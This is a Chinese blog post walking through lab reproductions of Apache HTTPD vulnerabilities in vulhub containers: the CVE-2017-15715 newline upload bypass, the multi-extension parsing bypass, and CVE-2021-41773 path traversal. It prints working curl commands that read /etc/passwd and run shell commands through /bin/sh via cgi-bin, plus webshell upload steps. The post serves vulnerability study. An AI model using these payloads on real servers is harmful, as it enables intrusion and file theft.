Apache漏洞复现

Apache HTTPD是一款HTTP服务器,该服务器是现在市场上使用最多的服务器,今天对该中间件做一些漏洞复现

Apache 换行解析漏洞(CVE-2017-15715)

Apache通过mod_php来运行PHP网页

  • 影响范围: 2.4.0~2.4.29
  • 漏洞描述: 存在解析漏洞,在解析.php时,会将1.php\x0A当做PHP文件执行,从而绕过一些安全策略

漏洞在vulhub中,我使用kali启动

启动后再kali主机的8080端口运行

  1. 上传普通的php文件

    上传失败

  2. 再次上传在burpsuite更改shell.php后方加入\x0A,然后上传
    注意:在hex页面中,找到php后面一位加入\x0A

    放包后页面没有任何回显,代表上传成功

  3. 访问并验证shell.php是否上传成功,注意需要再文件名后方加入%0a,因为十六进制\x0a在url编码中需要使用%开头

    实验完毕。

Apache 未知后缀名解析漏洞

Apache HTTPD支持文件名有多个后缀,例如shell.php.jpg,解析流程如下:

  1. 解析shell.php.jpg文件,如果支持jpg文件名后缀则解析该文件,不可以往前看前一个后缀名
  2. shel.php.jpg后缀名无法解析,尝试将文件解析前一个后缀名shell.php文件

通过安装服务器的/conf/httpd.conf配置文件中都会含有解析php文件

AddHandler application/x-httpd-php .php

那么利用这个特性可以理解为只要文件名中包含php就可以将文件解析为PHP文件执行,这可以造成白名单的绕过,例如shell.php.xxx
一般服务器肯定不会设置有xxx后缀名的解析,所以理所应当的把shell.php.xxx当做PHP文件执行

  1. 启动vulhub环境
cd /vulhub/httpd/apache_parsing_vulnerability
sudo docker-compose up -d

访问80端口查看

进入容器查看审计源码

<?php

if (!empty($_FILES)):

$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
    die('Unsupported filetype uploaded.');
}

$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
    die('Error uploading file - check destination is writeable.');
}

die('File uploaded successfully: ' . $new_name);

else:
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>
<?php
endif;

通过pathinfo()方法获取文件上传路径,然后使用in_array判断是否文件名是否含有['gif', 'png', 'jpg', 'jpeg'],含有下方的后缀名就可以将文件上传
一般情况下Apache服务器都不会配置解析jpg图片,所以接着解析php后缀名
上传shell.php.jpg


访问

成功解析

注: 如果在自己搭建的phpstudy手动搭建环境访问该文件会遇到服务器500的错误,是因为Apache虽然解析shell.php.jpg文件是把php后缀当做PHP文件执行,然后交给PHP,但是PHP只认为最后一个后缀名为php才会当做PHP文件执行

通常php{version}.conf配置文件中会有以下配置

<FilesMatch ".+\.ph(ar|p|tml)$">  
    SetHandler application/x-httpd-php
</FilesMatch>

通过正则匹配只有是phar、php、phtml才可以被解析为php,这里还是建议使用vulhub复现漏洞

Apache 目录遍历漏洞

  • 影响版本: 2.4.49-50
  • 漏洞原理: 攻击者可以通过目录遍历漏洞访问预期之外的文件和目录
  1. 使用vulhub环境启动实验场景
cd /vulhub/httpd/CVE-2021-41773
sudo docker-compose up -d

验证靶机是否正常运行

  1. 漏洞验证
curl -v --path-as-is http://192.168.154.138:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

  • --path-as-is
    1. 如果不使用--path-as-is,访问地址test.com/../../etc/passwd,curl请求的对象是test.com/etc/passwd
    2. 如果使用--path-as-is,访问test.com/../../etc/passwd,curl请求的对象是test.com/../../etc/passwd
  • -v:表示像是请求标头和响应标头
  • %2e表示url编码,字符为.

另外如果apache平台开启了cgi,可以进行命令执行

  • cgi就是可以让apache解析其他语言的命令
curl -v --data "echo;id" 'http://192.168.154.138:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
  • --data:表示使用POST方式提交数据,也可以使用缩写-d

  • echo;id: shell编程,表示echo命令输出id的回显

  • /bin/sh: 通过目录遍历请求/bin/sh
    结合起来可以理解为apache开启了cgi,通过目录遍历调用/bin/sh解释shell脚本,脚本内容为echo;id,执行完脚本将内容返回给http页面

如果这里靶机安装的有python,也可以执行python代码
只需要在httpd.conf加入以下内容

AddHandler cgi-script .py
posted @ 2024-04-06 11:36  Junglezt  阅读(108)  评论(0编辑  收藏  举报